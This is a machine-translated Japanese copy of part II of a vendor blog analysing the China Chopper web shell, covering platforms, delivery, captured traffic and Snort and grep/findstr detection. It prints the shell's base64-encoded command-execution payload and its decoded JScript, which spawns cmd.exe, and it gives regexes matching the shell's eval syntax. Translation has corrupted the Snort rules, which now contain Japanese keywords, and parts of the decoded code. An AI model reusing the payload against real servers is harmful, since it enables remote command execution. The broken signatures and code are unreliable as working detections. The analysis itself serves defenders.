China Chopper Web シェルの分析 – パート II

This command is all that it takes to run on Linux with PHP. news

2部構成のパートII。 パート Iを読んでください。

序章

このシリーズの第 1回では、China Chopper の使いやすいインターフェイスと高度な機能について説明しました。Web シェルのサイズが小さいことを考えると、なおさら注目に値します (aspx バージョンで 73 バイト、ディスクで 4 キロバイト)。この投稿では、China Chopper のプラットフォームの多様性、配信メカニズム、トラフィック パターン、および検出について説明します。この情報を武器に、環境からこの害虫を根絶できることを願っています。

プラットホーム

では、China Chopper はどのプラットフォームで実行できるのでしょうか? JSP、ASP、ASPX、PHP、または CFM を実行できる任意の Web サーバー。これは、世の中にある Web アプリケーション言語の大部分です。オペレーティングシステムはどうですか? China Chopper は、Windows と Linux の両方で透過的に実行できる柔軟性を備えています。この OS とアプリケーションの柔軟性により、これはさらに危険な Web シェルになります。

このシリーズのパート I では、ASPX を使用して Windows 2003 IIS サーバー上で実行される China Chopper を紹介しました。次に、PHP を使用して Linux で実行する方法を示します。図 1 に示すように、PHP バージョンの内容は最小限に抑えられています。

This command is all that it takes to run on Linux with PHP.
図 1: Linux で PHP を実行するために必要なのは、このコマンドだけです。

利用可能なオプションは China Chopper が実行されているプラットフォームによって異なりますが、Linux のファイル管理機能 (図 2 を参照) は Windows のファイル管理機能と似ています。

Linux を実行しているターゲット システムでのファイルの参照
図 2: Linux を実行しているターゲット システムでのファイルの参照

図 3 に示すデータベース クライアントの例は、MS-SQL ではなく MySQL ですが、同じ機能の多くを提供します。

Linux を実行しているターゲット システムからのデータベース管理
図 3: Linux を実行しているターゲット システムからのデータベース管理

仮想ターミナルは見慣れたものに見えますが (図 4)、Windows ではなく Linux コマンドを使用しています。

Linux を実行しているターゲット システムからの仮想端末
図 4: Linux を実行しているターゲット システムからの仮想端末

配信メカニズム

China Chopper の配信メカニズムは、マルウェアのペイロードのサイズ、形式、および単純さにより、非常に柔軟です。この小さなテキストベースのペイロードは、次のメカニズムのいずれかを使用して配信できます。

  • WebDAVファイルのアップロード
  • JBoss jmx-console または Apache Tomcat 管理ページ (この攻撃ベクトルの詳細については、FireEye コンサルタントの Tony Lee の説明を参照してください)
  • ファイルドロップによるリモートエクスプロイト
  • 他のアクセスからの横伝播

トラフィック分析

サーバー側のペイロードと、Web シェルを制御するために使用されるクライアントを見てきました。次に、China Chopper のトラフィックを調べてみましょう。幸いなことに、サーバー コンポーネントとクライアント コンポーネントの両方があるので、パケット キャプチャを開始して、一般的なトラフィックの内容を表示できます。図 5 に示すように、クライアントは HTTP POSTメソッドを使用して TCP ポート 80 経由で接続を開始します。

パケット キャプチャは、Web シェル トラフィックが TCP ポート 80 を介した HTTP POST トラフィックであることを示しています。
図 5: パケット キャプチャは、Web シェル トラフィックが TCP ポート 80 経由の HTTP POSTトラフィックであることを示しています

これは TCP トラフィックであるため、 Wireshark (Unix および Windows で動作する一般的なオープン ソース ネットワーク プロトコル アナライザー) で「TCP をたどる」ことができます。図 6 で、上部の赤色のトラフィックは攻撃者 (Web クライアント) からのものです。下部に青色で表示されているトラフィックは、ターゲット (Web シェル) からの応答です。

TCP ストリームをたどると、攻撃者のトラフィックの大部分が Base64 でエンコードされていることがわかります。
図 6: TCP ストリームをたどると、攻撃者のトラフィックの大部分が Base64 でエンコードされていることがわかります。

上で強調したように、攻撃者のトラフィックの大部分は Base64 でエンコードされているようです。ただし、これは簡単にデコードできるため、問題にはなりません。無料のFiddler Web デバッガーの「TextWizard」機能を使用して、攻撃者が何を送信しているかを発見します。 (注: %3Dは、等号 (“=”) の URL エンコード表現です。Fiddler では、適切にデコードするために、これを等号に変換する必要があります。)

生の攻撃者トラフィック:

Password=Response.Write(“->|”);

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String

(“dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n

LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX

N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0

ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2

U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0

SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkBuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX

RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0

KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS

hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D”)),”unsafe”);}catch(err){Response.Write

(“ERROR:// “%2Berr.message);}Response.Write(“|<-“);Response.End();&z1=Y21k&z2=Y2QgL2QgImM6

XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

図 7 に示すように、Fiddler Web デバッガーのテキスト ウィザードは、生のトラフィックを Base64 からプレーン テキストに簡単に変換します。

Fiddler Web デバッガーは Base64 トラフィックをデコードします
図 7: Fiddler Web デバッガーが Base64 トラフィックをデコードする

デコードされたトラフィック:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001))。

GetString(System.Convert.FromBase64String(Request.Item[” z1 “])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments=”/c”+System.Text.Encoding.GetEncoding(65001)。

GetString(System.Convert.FromBase64String(Request.Item[” z2 “]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

最後に、もっと読みやすいものがあります。ただし、Base64 でデコードされたトラフィックは、z1 および z2 として保存されているより多くの Base64 トラフィックをデコードしようとしています。攻撃者のトラフィックに戻ると、「Password」パラメーターの終了直後に、z1 パラメーターと z2 パラメーターが表示されます。

次の出力では、Base64 でエンコードされたパラメーター z1 と z2 を強調表示しています。

& z1 =Y21k& z2 =Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

Base64 でデコードされたパラメーター z1 および z2:

z1=cmdz2=cd /d “c:inetpubwwwroot”&whoami&echo [S]&cd&echo [E]

これは、クライアントがシェルと通信する方法を説明しています。 「Password」パラメータは、コードをペイロードに渡して実行します。 z1 はcmdで、 z2 にはcmd /c経由で送信されるコマンド プロンプトへの引数が含まれます。すべての出力は標準出力 (stdout) に送信され、攻撃者に返されます。攻撃者は、 whoamiコマンドと現在の作業ディレクトリに対して次の応答を作成します。

->|nt 機関ネットワーク サービス[S]C:Inetpubwwwroot[E]|<-

検出

China Chopper の内容とそのトラフィックがどのように見えるかを理解したので、ネットワーク レベルとホスト レベルの両方でこの害虫を検出する方法に焦点を当てることができます。

通信網

標準のSnort IDS があれば、このトラフィックは比較的簡単にキャッチできます。 Keith Tyler は、彼の初期のChina Chopper ブログ投稿で、動作するように基本的な IDS 署名を提供しています。

alert tcp any any -> any 80 ( sid:900001; content:”base64_decode”;

http_client_body;フロー:to_server、確立; content:”投稿”;ノーケース;

http_メソッド; ;msg:”Webshell が Apache を検出しました”;)

誤検知を減らすために、次のように「FromBase64String」と「z1」の内容を探すことで、Snort IDS シグネチャを強化して China Chopper に焦点を合わせました。

アラート tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: “最初のコマンドが検出された China Chopper”;

フロー:to_server、確立;コンテンツ: “FromBase64String”;

コンテンツ: “z1″; content:”投稿”; nocase;http_method;

参考:URL、http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

分解-中国-チョッパー-web-shell-part-i.html;

classtype:web-application-attack;シド: 900000101;)

次の IDS 署名は、「FromBase64String」の内容と、「z」の後に 1 ~ 3 桁の数字が続く任意の組み合わせを探します。たとえば、「z1」、「z10」、または「z100」が見つかります。 (z1) が見つからない場合でも、後続のコマンドをキャッチできます。

アラート tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: “すべてのコマンドが検出された China Chopper”; flow:to_server, Established;

コンテンツ: “FromBase64String”;コンテンツ: “z”; pcre: “/Zd{1,3}/i”; content:”投稿”; nocase;http_method;

参考:URL、http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

分解-中国-チョッパー-web-shell-part-i.html;

classtype:web-application-attack;シド: 900000102;)

これらの IDS シグネチャは両方とも、深度とオフセットを考慮してさらに最適化するために変更できます。シグネチャを実装してパフォーマンスをテストする前に、必ず有効な SID を入力してください。

ネットワーク レベルでの検出について説明したので、ホスト レベルでの検出も可能であることがわかります。シェルには予測可能な構文が含まれている必要があるため、そのコードが実行されているファイルをすばやく見つけることができます。

ホスト

China Chopper を含むファイルを見つけるには、さまざまな方法を使用できます。特に Linux マシンでの最も迅速で簡単な方法は、おそらく正規表現を使用することです。図 10 に示すように、Web ディレクトリ全体で簡単なegrepを実行すると、感染したファイルを特定するのに役立ちます。

egrep -re ‘ [<][?]phps@eval[(]$_POST[.+][)];[?][>]’ *.php

egrep を使用してこの Web シェルを見つける
図 8: egrep を使用してこの Web シェルを見つける

図 8 からわかるように、 egrepコマンドとregexコマンドは強力な組み合わせです。正規表現は意味不明に見えるかもしれませんが、実際には見た目ほど悪くはありません。 Ian Ahl は、正規表現スキルの向上に役立ついくつかの正規表現チュートリアルを作成しました。開始するための 2 つの方法を次に示します。

Windows には、ネイティブのfindstrコマンドを使用して、正規表現を使用してファイルを検索する方法も用意されています。

findstr を使用して China Chopper を見つける
図 9: findstrを使用して China Chopper を見つける

お気づきかもしれませんが、正規表現を少し変更する必要がありました。これは、 findstrregexを解釈するいくつかの方法を回避するために必要でした。実行するコマンドは次のとおりです。

findstr /R “[<][?]php.@eval[(]$_POST.*[)];[?][>]” *.php

これらの例は、PHP シェルでの検出を示しています。 ASPX シェルを見つけるには、次のように ASPX シェルの構文に合うように正規表現を変更します。

egrep -re ‘[<]%@sPagesLanguage=.Jscript.%[>][<]%eval.Request.Item.+unsafe’ *.aspx

findstr /R “[<]%@.Page.Language=.Jscript.%[>][<]%eval.Request.Item.*unsafe” *.aspx

すべての PHP ファイルまたは ASPX ファイルが Windows ホストのどこにあるかわからない場合は、いくつかの拡張オプションを指定してdirコマンドを使用すると、正規表現を実行する Web ファイルを特定するのに役立ちます (図 10 を参照)。

dir /S /A /B *.php

dir コマンドを使用した Windows での再帰検索
図 10: dirコマンドを使用した Windows での再帰検索

Findstrには、すべてのサブディレクトリを検索するオプションもあります (図 11 を参照)。

findstr /R /S “[<][?]php.@eval[(]$_POST.*[)];[?][>]” *.php

findstr を使用して Web シェルの複数のインスタンスを再帰的に検索する
図 11: findstrを使用して Web シェルの複数のインスタンスを再帰的に検索する

結論

China Chopper の機能、プラットフォームの汎用性、配信メカニズム、トラフィック分析、および検出に関するこの説明が、このエレガントに設計された危険な脅威を根絶するために必要な知識とツールを提供することを願っています.

良い狩り。

参照: https://www.mandiant.com/resources/blog/breaking-down-the-china-chopper-web-shell-part-ii

Comments

Copied title and URL